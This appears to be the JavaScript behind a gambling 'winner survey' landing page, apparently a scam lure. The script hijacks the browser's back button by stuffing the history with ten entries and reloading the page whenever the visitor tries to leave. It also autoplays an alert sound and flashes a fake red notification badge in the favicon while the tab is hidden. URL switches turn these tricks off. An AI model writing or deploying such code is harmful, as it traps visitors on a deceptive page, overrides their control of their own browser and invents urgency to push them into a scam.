function getUrlWithParam(param) {
    var url = window.location.href;

    if (url.includes("x=")) {
        url = url.replace(/(x=)[0-9]{1,2}/, param)
    }
    else {
        url = url + "&" + param;
    }

    return url;
}

function getUrlParameter(name) {
	name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
	var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
		results = regex.exec(location.search);
	return results === null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
}

var PreventSound = false;
var PreventFavicon = false;
var PreventScript = false;
getUrlParameter("b") === "0" ? PreventScript = true : PreventScript = false;
getUrlParameter("snd") === "0" ? PreventSound = true : PreventSound = false;

! function () {

	if (!PreventScript) {
	//alert(PreventScript);
	var t;
	var tmp=window.location.href;
	try {
		for (t = 0; 10 > t; ++t) history.pushState({}, "", "");
		onpopstate = function (t) {
		//t.state && location.replace(getUrlWithParam("x=17"));
		//t.state && location.reload(true);
		t.state && location.replace(tmp);


		}
	} catch (o) {}
	}
	
	
	if (!PreventSound) {
		var sMobile = '/media/gambling/en/winner-survey/alert.mp3',
        sDesktop = '/media/gambling/en/winner-survey/alert.mp3';
    function isMobileDevice() {
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
    }
    isMobileDevice() ? sound = sMobile : sound = sDesktop;

    window.addEventListener('load', function () {
        var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
        var source = audioCtx.createBufferSource();
        var xhr = new XMLHttpRequest();
        xhr.open('GET', sound);
        xhr.responseType = 'arraybuffer';
        xhr.addEventListener('load', function (r) {
            console.log(xhr.response);
            audioCtx.decodeAudioData(
                    xhr.response,
                    function (buffer) {
                        source.buffer = buffer;
                        source.connect(audioCtx.destination);
                        source.loop = false;
                    });
            source.start(0);
        });
        xhr.send();
    });
    }
	
    if (!PreventFavicon) {
		const canvas = document.createElement('canvas');
		canvas.width = 32;
		canvas.height = 32;
		const context = canvas.getContext('2d');
		context.fillStyle = '#f00';
		context.beginPath();
		context.arc(32 / 2, 32 / 2,32 / 2, 0, 2 * Math.PI);
		context.fill();
		context.fillStyle = '#fff';
		context.font = '24px Arial';
		context.textAlign = 'center';
		context.textBaseline = 'middle';
		context.fillText(1, 32 / 2, 32 / 2);

		const iconNode = document.createElement('link');
		iconNode.rel = 'icon';
		iconNode.type = 'image/png';
		iconNode.id = 'icon1';
		iconNode.href = canvas.toDataURL('image/png');

		const iconNode2 = document.createElement('link');
		iconNode2.rel = 'icon';
		iconNode2.type = 'image/png';
		iconNode2.id = 'icon2';
		iconNode2.href = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVQI12P4zwAAAgEBAKrChTYAAAAASUVORK5CYII=';

		function faviconPulse (time) {
			var counter = 0;
			var currentIcon;

			var interval = setInterval(function() {
				if (counter % 2 === 0) {
					currentIcon = document.getElementById('icon2');
					if (currentIcon !=null) currentIcon.parentNode.removeChild(currentIcon);
					document.head.appendChild(iconNode);
				} else if ((counter % 2 === 1) && document.visibilityState === 'hidden') {
					var currentIcon = document.getElementById('icon1');
					if (currentIcon !=null) currentIcon.parentNode.removeChild(currentIcon);
					document.head.appendChild(iconNode2);
				}

				counter ++;
			}, time ? time : 500);
		}

		faviconPulse(1000);		
		
		
	}
	
}();